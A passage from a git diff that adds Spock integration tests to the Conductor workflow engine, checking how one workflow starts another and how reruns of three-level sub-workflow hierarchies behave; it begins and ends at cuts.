workflowExecutionService.poll('integration_task_1', 'task1.integration.worker') + + then: "verify that there was no task polled" + !pollTaskTry3 + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/StartWorkflowSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/StartWorkflowSpec.groovy new file mode 100644 index 0000000..1af9f2f --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/StartWorkflowSpec.groovy @@ -0,0 +1,169 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import org.springframework.beans.factory.annotation.Autowired + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.core.execution.tasks.StartWorkflow +import com.netflix.conductor.dao.QueueDAO +import com.netflix.conductor.test.base.AbstractSpecification +import com.netflix.conductor.test.utils.MockExternalPayloadStorage + +import spock.lang.Shared +import spock.lang.Unroll + +class StartWorkflowSpec extends AbstractSpecification { + + @Autowired + QueueDAO queueDAO + + @Autowired + StartWorkflow startWorkflowTask + + @Autowired + MockExternalPayloadStorage mockExternalPayloadStorage + + @Shared + def WORKFLOW_THAT_STARTS_ANOTHER_WORKFLOW = 'workflow_that_starts_another_workflow' + + static String workflowInputPath = "${UUID.randomUUID()}.json" + + def setup() { + workflowTestUtil.registerWorkflows('workflow_that_starts_another_workflow.json', + 'simple_workflow_1_integration_test.json') + mockExternalPayloadStorage.upload(workflowInputPath, StartWorkflowSpec.class.getResourceAsStream("/start_workflow_input.json"), 0) + } + + @Unroll + def "start another workflow using #testCase.name"() { + setup: 'create the correlationId for the starter workflow' + def correlationId = UUID.randomUUID().toString() + + when: "starter workflow is started" + def workflowInstanceId = startWorkflow(WORKFLOW_THAT_STARTS_ANOTHER_WORKFLOW, 1, + correlationId, testCase.workflowInput, testCase.workflowInputPath) + + then: "verify that the starter workflow is in RUNNING state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'START_WORKFLOW' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "the START_WORKFLOW task is started" + List polledTaskIds = queueDAO.pop("START_WORKFLOW", 1, 200) + String startWorkflowTaskId = polledTaskIds.get(0) + asyncSystemTaskExecutor.execute(startWorkflowTask, startWorkflowTaskId) + + then: "verify the START_WORKFLOW task and workflow are COMPLETED" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 1 + tasks[0].taskType == 'START_WORKFLOW' + tasks[0].status == Task.Status.COMPLETED + } + + when: "the started workflow is retrieved" + def startWorkflowTask = workflowExecutionService.getTask(startWorkflowTaskId) + String startedWorkflowId = startWorkflowTask.outputData['workflowId'] + + then: "verify that the started workflow is RUNNING" + with(workflowExecutionService.getExecutionStatus(startedWorkflowId, false)) { + status == Workflow.WorkflowStatus.RUNNING + it.correlationId == correlationId + // when the "starter" workflow is started with input from external payload storage, + // it sends a large input to the "started" workflow + // see start_workflow_input.json + if(testCase.workflowInputPath) { + externalInputPayloadStoragePath != null + } else { + input != null + } + } + + where: + testCase << [workflowName(), workflowDef(), workflowRequestWithExternalPayloadStorage()] + } + + def "start_workflow does not conform to StartWorkflowRequest"() { + given: "start_workflow that does not conform to StartWorkflowRequest" + def startWorkflowParam = ['param1': 'value1', 'param2': 'value2'] + def workflowInput = ['start_workflow': startWorkflowParam] + + when: "starter workflow is started" + def workflowInstanceId = startWorkflow(WORKFLOW_THAT_STARTS_ANOTHER_WORKFLOW, 1, + null, workflowInput, null) + + then: "verify that the starter workflow is in RUNNING state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'START_WORKFLOW' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "the START_WORKFLOW task is started" + List polledTaskIds = queueDAO.pop("START_WORKFLOW", 1, 200) + String startWorkflowTaskId = polledTaskIds.get(0) + asyncSystemTaskExecutor.execute(startWorkflowTask, startWorkflowTaskId) + + then: "verify the START_WORKFLOW task and workflow FAILED" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 1 + tasks[0].taskType == 'START_WORKFLOW' + tasks[0].status == Task.Status.FAILED + tasks[0].reasonForIncompletion != null + } + } + + /** + * Builds a TestCase for a StartWorkflowRequest with a WorkflowDef that contains two tasks. + */ + static workflowDef() { + def task1 = ['name': 'integration_task_1', 'taskReferenceName': 't1', 'type': 'SIMPLE', + 'inputParameters': ['tp1': '${workflow.input.param1}', 'tp2': '${workflow.input.param2}', 'tp3': '${CPEWF_TASK_ID}']] + def task2 = ['name': 'integration_task_2', 'taskReferenceName': 't2', 'type': 'SIMPLE', + 'inputParameters': ['tp1': '${workflow.input.param1}', 'tp2': '${t1.output.op}', 'tp3': '${CPEWF_TASK_ID}']] + def workflowDef = ['name': 'dynamic_wf', 'version': 1, 'tasks': [task1, task2], 'ownerEmail': 'abc@abc.com'] + + def startWorkflow = ['name': 'dynamic_wf', 'workflowDef': workflowDef] + + new TestCase(name: 'workflow definition', workflowInput: ['startWorkflow': startWorkflow]) + } + + /** + * Builds a TestCase for a StartWorkflowRequest with a workflow name. + */ + static workflowName() { + def startWorkflow = ['name': 'integration_test_wf', 'input': ['param1': 'value1', 'param2': 'value2']] + + new TestCase(name: 'name and version', workflowInput: ['startWorkflow': startWorkflow]) + } + + /** + * Builds a TestCase for a StartWorkflowRequest with a workflow name and input in external payload storage. + */ + static workflowRequestWithExternalPayloadStorage() { + new TestCase(name: 'name and version with external input', workflowInputPath: workflowInputPath) + } + + static class TestCase { + String name + Map workflowInput + String workflowInputPath + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SubWorkflowRerunSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SubWorkflowRerunSpec.groovy new file mode 100644 index 0000000..3b48802 --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SubWorkflowRerunSpec.groovy @@ -0,0 +1,773 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import org.springframework.beans.factory.annotation.Autowired + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.metadata.tasks.TaskDef +import com.netflix.conductor.common.metadata.workflow.RerunWorkflowRequest +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.core.execution.tasks.SubWorkflow +import com.netflix.conductor.test.base.AbstractSpecification + +import spock.lang.Shared + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_SUB_WORKFLOW +import static com.netflix.conductor.test.util.WorkflowTestUtil.verifyPolledAndAcknowledgedTask + +class SubWorkflowRerunSpec extends AbstractSpecification { + + @Autowired + SubWorkflow subWorkflowTask + + @Shared + def WORKFLOW_WITH_SUBWORKFLOW = 'integration_test_wf_with_sub_wf' + + @Shared + def SIMPLE_WORKFLOW = "integration_test_wf" + + String rootWorkflowId, midLevelWorkflowId, leafWorkflowId + + TaskDef persistedTask2Definition + + def setup() { + workflowTestUtil.registerWorkflows('simple_workflow_1_integration_test.json', + 'workflow_with_sub_workflow_1_integration_test.json') + + //region Test setup: 3 workflows. Task 'integration_task_2' in leaf workflow is FAILED. + setup: "Modify task definition to 0 retries" + persistedTask2Definition = workflowTestUtil.getPersistedTaskDefinition('integration_task_2').get() + def modifiedTask2Definition = new TaskDef(persistedTask2Definition.name, persistedTask2Definition.description, + persistedTask2Definition.ownerEmail, 0, persistedTask2Definition.timeoutSeconds, + persistedTask2Definition.responseTimeoutSeconds) + metadataService.updateTaskDef(modifiedTask2Definition) + + and: "an existing workflow with subworkflow and registered definitions" + metadataService.getWorkflowDef(SIMPLE_WORKFLOW, 1) + metadataService.getWorkflowDef(WORKFLOW_WITH_SUBWORKFLOW, 1) + + and: "input required to start the workflow execution" + String correlationId = 'rerun_on_root_in_3level_wf' + def input = [ + 'param1' : 'p1 value', + 'param2' : 'p2 value', + 'subwf' : WORKFLOW_WITH_SUBWORKFLOW, + 'nextSubwf': SIMPLE_WORKFLOW] + + when: "the workflow is started" + rootWorkflowId = startWorkflow(WORKFLOW_WITH_SUBWORKFLOW, 1, + correlationId, input, null) + + then: "verify that the workflow is in a RUNNING state" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and complete the integration_task_1 task" + def pollAndCompleteTask = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the 'integration_task_1' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask) + + when: "the subworkflow task should be in SCHEDULED state and is started by issuing a system task call" + def rootSubWfTask = workflowExecutionService.getExecutionStatus(rootWorkflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (rootSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, rootSubWfTask.taskId) + } + + then: "verify that the 'sub_workflow_task' is in a IN_PROGRESS state" + def rootWorkflowInstance = workflowExecutionService.getExecutionStatus(rootWorkflowId, true) + with(rootWorkflowInstance) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + } + + and: "the mid-level subworkflow is decided so its first task is scheduled" + midLevelWorkflowId = rootWorkflowInstance.tasks[1].subWorkflowId + sweep(midLevelWorkflowId) + + and: "verify that the mid-level workflow is RUNNING, and first task is in SCHEDULED state" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + and: "poll and complete the integration_task_1 task in the mid-level workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + + when: "the subworkflow task should be in SCHEDULED state and is started by issuing a system task call" + def midSubWfTask = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (midSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, midSubWfTask.taskId) + } + leafWorkflowId = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true).getTasks().get(1).subWorkflowId + sweep(leafWorkflowId) + + then: "verify that the leaf-level workflow is RUNNING, and first task is in SCHEDULED state" + def leafWorkflowInstance = workflowExecutionService.getExecutionStatus(leafWorkflowId, true) + with(leafWorkflowInstance) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and fail the integration_task_2 task" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + workflowTestUtil.pollAndFailTask('integration_task_2', 'task2.integration.worker', 'failed') + + then: "the leaf workflow ends up in a FAILED state" + with(workflowExecutionService.getExecutionStatus(leafWorkflowId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + } + + when: "the mid level workflow is 'decided'" + sweep(midLevelWorkflowId) + + then: "the mid level subworkflow is in FAILED state" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.FAILED + } + + when: "the root level workflow is 'decided'" + sweep(rootWorkflowId) + + then: "the root level workflow is in FAILED state" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.FAILED + } + //endregion + } + + def cleanup() { + metadataService.updateTaskDef(persistedTask2Definition) + } + + /** + * On a 3-level workflow where all workflows reach FAILED state because of a FAILED task + * in the leaf workflow. + * + * A rerun is executed on the root workflow. + * + * Expectation: The root workflow spawns a NEW mid-level workflow, which in turn spawns a NEW leaf workflow. + * When the leaf workflow completes successfully, both the NEW mid-level and root workflows also complete successfully. + */ + def "Test rerun on the root-level in a 3-level subworkflow"() { + //region Test case + when: "do a rerun on the root workflow" + def reRunWorkflowRequest = new RerunWorkflowRequest() + reRunWorkflowRequest.reRunFromWorkflowId = rootWorkflowId + workflowExecutor.rerun(reRunWorkflowRequest) + + then: "poll and complete the 'integration_task_1' task" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op1': 'task1.done']) + + and: "execute the SUB_WORKFLOW task on the root to create the new mid-level workflow" + def rootSubWfTask = workflowExecutionService.getExecutionStatus(rootWorkflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (rootSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, rootSubWfTask.taskId) + } + + and: "verify that the root workflow created a new SUB_WORKFLOW task" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + } + + when: "the subworkflow task should be in SCHEDULED state and is started by issuing a system task call" + def newMidLevelWorkflowId = workflowExecutionService.getExecutionStatus(rootWorkflowId, true).getTasks().get(1).subWorkflowId + sweep(newMidLevelWorkflowId) + + then: "verify that a new mid level workflow is created and is in RUNNING state" + newMidLevelWorkflowId != midLevelWorkflowId + with(workflowExecutionService.getExecutionStatus(newMidLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and complete the integration_task_1 task in the mid-level workflow" + def polledAndCompletedTry1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done'], 5) + + then: "verify that the 'integration_task_1' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTry1) + + and: "execute the SUB_WORKFLOW task on the mid level to create the new leaf workflow" + def midSubWfTask = workflowExecutionService.getExecutionStatus(newMidLevelWorkflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (midSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, midSubWfTask.taskId) + } + + and: "poll and execute the sub workflow task" + def newLeafWorkflowId = workflowExecutionService.getExecutionStatus(newMidLevelWorkflowId, true).getTasks().get(1).subWorkflowId + sweep(newLeafWorkflowId) + + then: "verify that a new leaf workflow is created and is in RUNNING state" + newLeafWorkflowId != leafWorkflowId + with(workflowExecutionService.getExecutionStatus(newLeafWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and complete the two tasks in the leaf workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + + then: "the new leaf workflow is in COMPLETED state" + with(workflowExecutionService.getExecutionStatus(newLeafWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + } + + when: "the new mid level and root workflows are 'decided'" + sweep(newMidLevelWorkflowId) + sweep(rootWorkflowId) + + then: "the new mid level workflow is in COMPLETED state" + with(workflowExecutionService.getExecutionStatus(newMidLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + } + + then: "the root workflow is in COMPLETED state" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + } + //endregion + } + + /** + * On a 3-level workflow where all workflows reach FAILED state because of a FAILED task + * in the leaf workflow. + * + * A rerun is executed with taskId on the root workflow. + * + * Expectation: The root workflow gets a new execution with the same id and both the mid-level workflow and leaf workflows are also reran. + * When the leaf workflow completes successfully, both the mid-level and root workflows also complete successfully. + */ + def "Test rerun on the root-level with taskId in a 3-level subworkflow"() { + //region Test case + when: "do a rerun on the root workflow" + def reRunWorkflowRequest = new RerunWorkflowRequest() + reRunWorkflowRequest.reRunFromWorkflowId = rootWorkflowId + def reRunTaskId = workflowExecutionService.getExecutionStatus(rootWorkflowId, true).tasks[0].taskId + reRunWorkflowRequest.reRunFromTaskId = reRunTaskId + workflowExecutor.rerun(reRunWorkflowRequest) + + then: "poll and complete the 'integration_task_1' task" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op1': 'task1.done']) + + and: "execute the SUB_WORKFLOW task on the root to create the new mid-level workflow" + def rootSubWfTask = workflowExecutionService.getExecutionStatus(rootWorkflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (rootSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, rootSubWfTask.taskId) + } + + and: "verify that the root workflow created a new SUB_WORKFLOW task" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + } + + when: "the subworkflow task should be in SCHEDULED state and is started by issuing a system task call" + def newMidLevelWorkflowId = workflowExecutionService.getExecutionStatus(rootWorkflowId, true).getTasks().get(1).subWorkflowId + sweep(newMidLevelWorkflowId) + + then: "verify that a new mid level workflow is created and is in RUNNING state" + newMidLevelWorkflowId != midLevelWorkflowId + with(workflowExecutionService.getExecutionStatus(newMidLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and complete the integration_task_1 task in the mid-level workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + + and: "execute the SUB_WORKFLOW task on the mid level to create the new leaf workflow" + def midSubWfTask = workflowExecutionService.getExecutionStatus(newMidLevelWorkflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (midSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, midSubWfTask.taskId) + } + + and: "poll and execute the sub workflow task" + def newLeafWorkflowId = workflowExecutionService.getExecutionStatus(newMidLevelWorkflowId, true).getTasks().get(1).subWorkflowId + sweep(newLeafWorkflowId) + + then: "verify that a new leaf workflow is created and is in RUNNING state" + newLeafWorkflowId != leafWorkflowId + with(workflowExecutionService.getExecutionStatus(newLeafWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and complete the two tasks in the leaf workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + + then: "the new leaf workflow is in COMPLETED state" + with(workflowExecutionService.getExecutionStatus(newLeafWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + } + + when: "the new mid level and root workflows are 'decided'" + sweep(newMidLevelWorkflowId) + sweep(rootWorkflowId) + + then: "the new mid level workflow is in COMPLETED state" + with(workflowExecutionService.getExecutionStatus(newMidLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + } + + then: "the root workflow is in COMPLETED state" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + } + //endregion + } + + /** + * On a 3-level workflow where all workflows reach FAILED state because of a FAILED task + * in the leaf workflow. + * + * A rerun is executed on the mid-level workflow. + * + * Expectation: The mid-level workflow gets a new execution with the same id and spawns a NEW leaf workflow and also updates its parent (root workflow). + * When the NEW leaf workflow completes successfully, both the mid-level and root workflows also complete successfully. + */ + def "Test rerun on the mid-level in a 3-level subworkflow"() { + //region Test case + when: "do a rerun on the mid level workflow" + def reRunWorkflowRequest = new RerunWorkflowRequest() + reRunWorkflowRequest.reRunFromWorkflowId = midLevelWorkflowId + workflowExecutor.rerun(reRunWorkflowRequest) + + then: "verify that the mid workflow created a new execution" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + and: "verify the SUB_WORKFLOW task in root workflow is updated" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + } + + when: "poll and complete the task in the mid level workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + + and: "execute the SUB_WORKFLOW task on the mid level to create the new leaf workflow" + def midSubWfTask = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (midSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, midSubWfTask.taskId) + } + + and: "the SUB_WORKFLOW task in mid level workflow is started by issuing a system task call" + def newLeafWorkflowId = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true).getTasks().get(1).subWorkflowId + sweep(newLeafWorkflowId) + + then: "verify that a new leaf workflow is created and is in RUNNING state" + newLeafWorkflowId != leafWorkflowId + with(workflowExecutionService.getExecutionStatus(newLeafWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].status == Task.Status.SCHEDULED + tasks[0].taskType == 'integration_task_1' + } + + when: "poll and complete the 2 tasks in the leaf workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the new leaf workflow reached COMPLETED state" + with(workflowExecutionService.getExecutionStatus(newLeafWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + } + + when: "the mid level and root workflows are 'decided'" + sweep(midLevelWorkflowId) + sweep(rootWorkflowId) + + then: "verify that the mid level and root workflows reach COMPLETED state" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + } + + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.COMPLETED + !tasks[1].subworkflowChanged // flag is reset after decide + } + //endregion + } + + /** + * On a 3-level workflow where all workflows reach FAILED state because of a FAILED task + * in the leaf workflow. + * + * A rerun is executed on the mid-level workflow with taskId. + * + * Expectation: The mid-level workflow gets a new execution with the same id and spawns a NEW leaf workflow and also updates its parent (root workflow). + * When the NEW leaf workflow completes successfully, both the mid-level and root workflows also complete successfully. + */ + def "Test rerun on the mid-level with taskId in a 3-level subworkflow"() { + //region Test case + when: "do a rerun on the mid level workflow" + def reRunWorkflowRequest = new RerunWorkflowRequest() + reRunWorkflowRequest.reRunFromWorkflowId = midLevelWorkflowId + def reRunTaskId = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true).tasks[0].taskId + reRunWorkflowRequest.reRunFromTaskId = reRunTaskId + workflowExecutor.rerun(reRunWorkflowRequest) + + then: "verify that the mid workflow created a new execution" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + and: "verify the SUB_WORKFLOW task in root workflow is updated" + with(workflowExecutionService.getExecutionStatus(rootWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[1].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[1].status == Task.Status.IN_PROGRESS + } + + when: "poll and complete the task in the mid level workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + + and: "execute the SUB_WORKFLOW task on the mid level to create the new leaf workflow" + def midSubWfTask = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true) + .tasks.find { it.taskType == TASK_TYPE_SUB_WORKFLOW && it.status == Task.Status.SCHEDULED } + if (midSubWfTask) { + asyncSystemTaskExecutor.execute(subWorkflowTask, midSubWfTask.taskId) + } + + and: "the SUB_WORKFLOW task in mid level workflow is started by issuing a system task call" + def newLeafWorkflowId = workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true).getTasks().get(1).subWorkflowId + sweep(newLeafWorkflowId) + + then: "verify that a new leaf workflow is created and is in RUNNING state" + newLeafWorkflowId != leafWorkflowId + with(workflowExecutionService.getExecutionStatus(newLeafWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].status == Task.Status.SCHEDULED + tasks[0].taskType == 'integration_task_1' + } + + when: "poll and complete the 2 tasks in the leaf workflow" + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the new leaf workflow reached COMPLETED state" + with(workflowExecutionService.getExecutionStatus(newLeafWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + } + + when: "the mid level and root workflows are 'decided'" + sweep(midLevelWorkflowId) + sweep(rootWorkflowId) + + then: "verify that the mid level and root workflows reach COMPLETED state" + with(workflowExecutionService.getExecutionStatus(midLevelWorkflowId, true)) { + status == 